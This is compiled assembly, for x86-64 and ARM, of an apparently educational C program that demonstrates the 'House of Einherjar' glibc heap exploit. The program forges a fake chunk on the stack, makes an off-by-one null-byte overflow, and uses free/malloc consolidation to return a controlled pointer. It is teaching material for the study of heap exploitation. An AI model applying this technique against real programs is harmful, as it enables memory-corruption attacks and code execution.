	.file	"15910.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
	.align 8
.LC0:
	.string	"Welcome to House of Einherjar!"
	.align 8
.LC1:
	.string	"Tested in Ubuntu 18.04.4 64bit."
	.align 8
.LC2:
	.string	"This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions."
	.align 8
.LC3:
	.string	"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte."
	.align 8
.LC4:
	.string	"\nWe allocate 0x38 bytes for 'a'"
.LC5:
	.string	"a: %p\n"
	.align 8
.LC6:
	.string	"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n"
	.align 8
.LC7:
	.string	"\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack"
	.align 8
.LC8:
	.string	"However, you can also create the chunk in the heap or the bss, as long as you know its address"
	.align 8
.LC9:
	.string	"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks"
	.align 8
.LC10:
	.string	"(although we could do the unsafe unlink technique here in some scenarios)"
	.align 8
.LC11:
	.string	"Our fake chunk at %p looks like:\n"
.LC12:
	.string	"prev_size (not used): %#lx\n"
.LC13:
	.string	"size: %#lx\n"
.LC14:
	.string	"fwd: %#lx\n"
.LC15:
	.string	"bck: %#lx\n"
.LC16:
	.string	"fwd_nextsize: %#lx\n"
.LC17:
	.string	"bck_nextsize: %#lx\n"
	.align 8
.LC18:
	.string	"\nWe allocate 0x4f8 bytes for 'b'."
.LC19:
	.string	"b: %p\n"
.LC20:
	.string	"\nb.size: %#lx\n"
	.align 8
.LC21:
	.string	"b.size is: (0x500) | prev_inuse = 0x501"
	.align 8
.LC22:
	.string	"We overflow 'a' with a single null byte into the metadata of 'b'"
.LC23:
	.string	"b.size: %#lx\n"
	.align 8
.LC24:
	.string	"This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit"
	.align 8
.LC25:
	.string	"If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk"
	.align 8
.LC26:
	.string	"\nWe write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n"
	.align 8
.LC27:
	.string	"Our fake prev_size will be %p - %p = %#lx\n"
	.align 8
.LC28:
	.string	"\nModify fake chunk's size to reflect b's new prev_size"
	.align 8
.LC29:
	.string	"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set"
	.align 8
.LC30:
	.string	"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"
	.align 8
.LC31:
	.string	"\nNow we can call malloc() and it will begin in our fake chunk"
.LC32:
	.string	"Next malloc(0x200) is at %p\n"
.LC33:
	.string	"the_stack_data/15910.c"
	.align 8
.LC34:
	.string	"(long)d == (long)&fake_chunk[2]"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 112
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR stdin[rip]
	mov	esi, 0
	mov	rdi, rax
	call	setbuf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	esi, 0
	mov	rdi, rax
	call	setbuf@PLT
	lea	rdi, .LC0[rip]
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	lea	rdi, .LC4[rip]
	call	puts@PLT
	mov	edi, 56
	call	malloc@PLT
	mov	QWORD PTR -104[rbp], rax
	mov	rax, QWORD PTR -104[rbp]
	mov	rsi, rax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -104[rbp]
	mov	rdi, rax
	call	malloc_usable_size@PLT
	mov	DWORD PTR -112[rbp], eax
	mov	eax, DWORD PTR -112[rbp]
	mov	esi, eax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	lea	rdi, .LC8[rip]
	call	puts@PLT
	lea	rdi, .LC9[rip]
	call	puts@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	QWORD PTR -64[rbp], 256
	mov	QWORD PTR -56[rbp], 256
	lea	rax, -64[rbp]
	mov	QWORD PTR -48[rbp], rax
	lea	rax, -64[rbp]
	mov	QWORD PTR -40[rbp], rax
	lea	rax, -64[rbp]
	mov	QWORD PTR -32[rbp], rax
	lea	rax, -64[rbp]
	mov	QWORD PTR -24[rbp], rax
	lea	rax, -64[rbp]
	mov	rsi, rax
	lea	rdi, .LC11[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -64[rbp]
	mov	rsi, rax
	lea	rdi, .LC12[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	rsi, rax
	lea	rdi, .LC13[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -48[rbp]
	mov	rsi, rax
	lea	rdi, .LC14[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -40[rbp]
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -32[rbp]
	mov	rsi, rax
	lea	rdi, .LC16[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rax
	lea	rdi, .LC17[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1272
	call	malloc@PLT
	mov	QWORD PTR -96[rbp], rax
	mov	rax, QWORD PTR -96[rbp]
	mov	rdi, rax
	call	malloc_usable_size@PLT
	mov	DWORD PTR -108[rbp], eax
	lea	rdi, .LC18[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -96[rbp]
	mov	rsi, rax
	lea	rdi, .LC19[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -96[rbp]
	sub	rax, 8
	mov	QWORD PTR -88[rbp], rax
	mov	rax, QWORD PTR -88[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC20[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC21[rip]
	call	puts@PLT
	lea	rdi, .LC22[rip]
	call	puts@PLT
	mov	eax, DWORD PTR -112[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -104[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -88[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC23[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC24[rip]
	call	puts@PLT
	lea	rdi, .LC25[rip]
	call	puts@PLT
	mov	esi, 8
	lea	rdi, .LC26[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -96[rbp]
	sub	rax, 16
	lea	rdx, -64[rbp]
	sub	rax, rdx
	mov	QWORD PTR -80[rbp], rax
	mov	rax, QWORD PTR -96[rbp]
	lea	rsi, -16[rax]
	mov	rdx, QWORD PTR -80[rbp]
	lea	rax, -64[rbp]
	mov	rcx, rdx
	mov	rdx, rax
	lea	rdi, .LC27[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -112[rbp]
	cdqe
	lea	rdx, -8[rax]
	mov	rax, QWORD PTR -104[rbp]
	add	rdx, rax
	mov	rax, QWORD PTR -80[rbp]
	mov	QWORD PTR [rdx], rax
	lea	rdi, .LC28[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -80[rbp]
	mov	QWORD PTR -56[rbp], rax
	lea	rdi, .LC29[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -96[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	rsi, rax
	lea	rdi, .LC30[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC31[rip]
	call	puts@PLT
	mov	edi, 512
	call	malloc@PLT
	mov	QWORD PTR -72[rbp], rax
	mov	rax, QWORD PTR -72[rbp]
	mov	rsi, rax
	lea	rdi, .LC32[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -64[rbp]
	lea	rdx, 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	cmp	rdx, rax
	je	.L2
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 115
	lea	rsi, .LC33[rip]
	lea	rdi, .LC34[rip]
	call	__assert_fail@PLT
.L2:
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L4
	call	__stack_chk_fail@PLT
.L4:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.section	.rodata
	.type	__PRETTY_FUNCTION__.0, @object
	.size	__PRETTY_FUNCTION__.0, 5
__PRETTY_FUNCTION__.0:
	.string	"main"
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"15910.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Welcome to House of Einherjar!\000"
	.align	2
.LC1:
	.ascii	"Tested in Ubuntu 18.04.4 64bit.\000"
	.align	2
.LC2:
	.ascii	"This technique only works with disabled tcache-opti"
	.ascii	"on for glibc or with size of b larger than 0x408, s"
	.ascii	"ee build_glibc.sh for build instructions.\000"
	.align	2
.LC3:
	.ascii	"This technique can be used when you have an off-by-"
	.ascii	"one into a malloc'ed region with a null byte.\000"
	.align	2
.LC4:
	.ascii	"\012We allocate 0x38 bytes for 'a'\000"
	.align	2
.LC5:
	.ascii	"a: %p\012\000"
	.align	2
.LC6:
	.ascii	"Since we want to overflow 'a', we need the 'real' s"
	.ascii	"ize of 'a' after rounding: %#x\012\000"
	.align	2
.LC7:
	.ascii	"\012We create a fake chunk wherever we want, in thi"
	.ascii	"s case we'll create the chunk on the stack\000"
	.align	2
.LC8:
	.ascii	"However, you can also create the chunk in the heap "
	.ascii	"or the bss, as long as you know its address\000"
	.align	2
.LC9:
	.ascii	"We set our fwd and bck pointers to point at the fak"
	.ascii	"e_chunk in order to pass the unlink checks\000"
	.align	2
.LC10:
	.ascii	"(although we could do the unsafe unlink technique h"
	.ascii	"ere in some scenarios)\000"
	.align	2
.LC11:
	.ascii	"Our fake chunk at %p looks like:\012\000"
	.align	2
.LC12:
	.ascii	"prev_size (not used): %#lx\012\000"
	.align	2
.LC13:
	.ascii	"size: %#lx\012\000"
	.align	2
.LC14:
	.ascii	"fwd: %#lx\012\000"
	.align	2
.LC15:
	.ascii	"bck: %#lx\012\000"
	.align	2
.LC16:
	.ascii	"fwd_nextsize: %#lx\012\000"
	.align	2
.LC17:
	.ascii	"bck_nextsize: %#lx\012\000"
	.align	2
.LC18:
	.ascii	"\012We allocate 0x4f8 bytes for 'b'.\000"
	.align	2
.LC19:
	.ascii	"b: %p\012\000"
	.align	2
.LC20:
	.ascii	"\012b.size: %#lx\012\000"
	.align	2
.LC21:
	.ascii	"b.size is: (0x500) | prev_inuse = 0x501\000"
	.align	2
.LC22:
	.ascii	"We overflow 'a' with a single null byte into the me"
	.ascii	"tadata of 'b'\000"
	.align	2
.LC23:
	.ascii	"b.size: %#lx\012\000"
	.align	2
.LC24:
	.ascii	"This is easiest if b.size is a multiple of 0x100 so"
	.ascii	" you don't change the size of b, only its prev_inus"
	.ascii	"e bit\000"
	.align	2
.LC25:
	.ascii	"If it had been modified, we would need a fake chunk"
	.ascii	" inside b where it will try to consolidate the next"
	.ascii	" chunk\000"
	.align	2
.LC26:
	.ascii	"\012We write a fake prev_size to the last %lu bytes"
	.ascii	" of a so that it will consolidate with our fake chu"
	.ascii	"nk\012\000"
	.align	2
.LC27:
	.ascii	"Our fake prev_size will be %p - %p = %#lx\012\000"
	.align	2
.LC28:
	.ascii	"\012Modify fake chunk's size to reflect b's new pre"
	.ascii	"v_size\000"
	.align	2
.LC29:
	.ascii	"Now we free b and this will consolidate with our fa"
	.ascii	"ke chunk since b prev_inuse is not set\000"
	.align	2
.LC30:
	.ascii	"Our fake chunk size is now %#lx (b.size + fake_prev"
	.ascii	"_size)\012\000"
	.align	2
.LC31:
	.ascii	"\012Now we can call malloc() and it will begin in o"
	.ascii	"ur fake chunk\000"
	.align	2
.LC32:
	.ascii	"Next malloc(0x200) is at %p\012\000"
	.align	2
.LC33:
	.ascii	"the_stack_data/15910.c\000"
	.align	2
.LC34:
	.ascii	"(long)d == (long)&fake_chunk[2]\000"
	.align	2
.LC35:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 56
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #56
	ldr	r3, .L5
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L5+4
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	setbuf
	ldr	r3, .L5+8
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	setbuf
	ldr	r0, .L5+12
	bl	puts
	ldr	r0, .L5+16
	bl	puts
	ldr	r0, .L5+20
	bl	puts
	ldr	r0, .L5+24
	bl	puts
	ldr	r0, .L5+28
	bl	puts
	mov	r0, #56
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-60]
	ldr	r1, [fp, #-60]
	ldr	r0, .L5+32
	bl	printf
	ldr	r0, [fp, #-60]
	bl	malloc_usable_size
	mov	r3, r0
	str	r3, [fp, #-56]
	ldr	r1, [fp, #-56]
	ldr	r0, .L5+36
	bl	printf
	ldr	r0, .L5+40
	bl	puts
	ldr	r0, .L5+44
	bl	puts
	ldr	r0, .L5+48
	bl	puts
	ldr	r0, .L5+52
	bl	puts
	mov	r3, #256
	str	r3, [fp, #-32]
	mov	r3, #256
	str	r3, [fp, #-28]
	sub	r3, fp, #32
	str	r3, [fp, #-24]
	sub	r3, fp, #32
	str	r3, [fp, #-20]
	sub	r3, fp, #32
	str	r3, [fp, #-16]
	sub	r3, fp, #32
	str	r3, [fp, #-12]
	sub	r3, fp, #32
	mov	r1, r3
	ldr	r0, .L5+56
	bl	printf
	ldr	r3, [fp, #-32]
	mov	r1, r3
	ldr	r0, .L5+60
	bl	printf
	ldr	r3, [fp, #-28]
	mov	r1, r3
	ldr	r0, .L5+64
	bl	printf
	ldr	r3, [fp, #-24]
	mov	r1, r3
	ldr	r0, .L5+68
	bl	printf
	ldr	r3, [fp, #-20]
	mov	r1, r3
	ldr	r0, .L5+72
	bl	printf
	ldr	r3, [fp, #-16]
	mov	r1, r3
	ldr	r0, .L5+76
	bl	printf
	ldr	r3, [fp, #-12]
	mov	r1, r3
	ldr	r0, .L5+80
	bl	printf
	ldr	r0, .L5+84
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-52]
	ldr	r0, [fp, #-52]
	bl	malloc_usable_size
	mov	r3, r0
	str	r3, [fp, #-48]
	ldr	r0, .L5+88
	bl	puts
	ldr	r1, [fp, #-52]
	ldr	r0, .L5+92
	bl	printf
	ldr	r3, [fp, #-52]
	sub	r3, r3, #8
	str	r3, [fp, #-44]
	ldr	r3, [fp, #-44]
	ldmia	r3, {r2-r3}
	ldr	r0, .L5+96
	bl	printf
	ldr	r0, .L5+100
	bl	puts
	ldr	r0, .L5+104
	bl	puts
	ldr	r3, [fp, #-56]
	ldr	r2, [fp, #-60]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-44]
	ldmia	r3, {r2-r3}
	ldr	r0, .L5+108
	bl	printf
	ldr	r0, .L5+112
	bl	puts
	ldr	r0, .L5+116
	bl	puts
	mov	r1, #4
	ldr	r0, .L5+120
	bl	printf
	ldr	r3, [fp, #-52]
	sub	r2, r3, #8
	sub	r3, fp, #32
	sub	r3, r2, r3
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-52]
	sub	r1, r3, #8
	sub	r2, fp, #32
	ldr	r3, [fp, #-40]
	ldr	r0, .L5+124
	bl	printf
	ldr	r3, [fp, #-56]
	sub	r3, r3, #4
	ldr	r2, [fp, #-60]
	add	r3, r2, r3
	ldr	r2, [fp, #-40]
	str	r2, [r3]
	ldr	r0, .L5+128
	bl	puts
	ldr	r3, [fp, #-40]
	str	r3, [fp, #-28]
	ldr	r0, .L5+132
	bl	puts
	ldr	r0, [fp, #-52]
	bl	free
	ldr	r3, [fp, #-28]
	mov	r1, r3
	ldr	r0, .L5+136
	bl	printf
	ldr	r0, .L5+140
	bl	puts
	mov	r0, #512
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-36]
	ldr	r1, [fp, #-36]
	ldr	r0, .L5+144
	bl	printf
	sub	r3, fp, #32
	add	r2, r3, #8
	ldr	r3, [fp, #-36]
	cmp	r2, r3
	beq	.L2
	ldr	r3, .L5+148
	mov	r2, #115
	ldr	r1, .L5+152
	ldr	r0, .L5+156
	bl	__assert_fail
.L2:
	mov	r3, #0
	ldr	r2, .L5
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L4
	bl	__stack_chk_fail
.L4:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L6:
	.align	2
.L5:
	.word	.LC35
	.word	stdin
	.word	stdout
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	1272
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.word	__PRETTY_FUNCTION__.5415
	.word	.LC33
	.word	.LC34
	.size	main, .-main
	.section	.rodata
	.align	2
	.type	__PRETTY_FUNCTION__.5415, %object
	.size	__PRETTY_FUNCTION__.5415, 5
__PRETTY_FUNCTION__.5415:
	.ascii	"main\000"
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
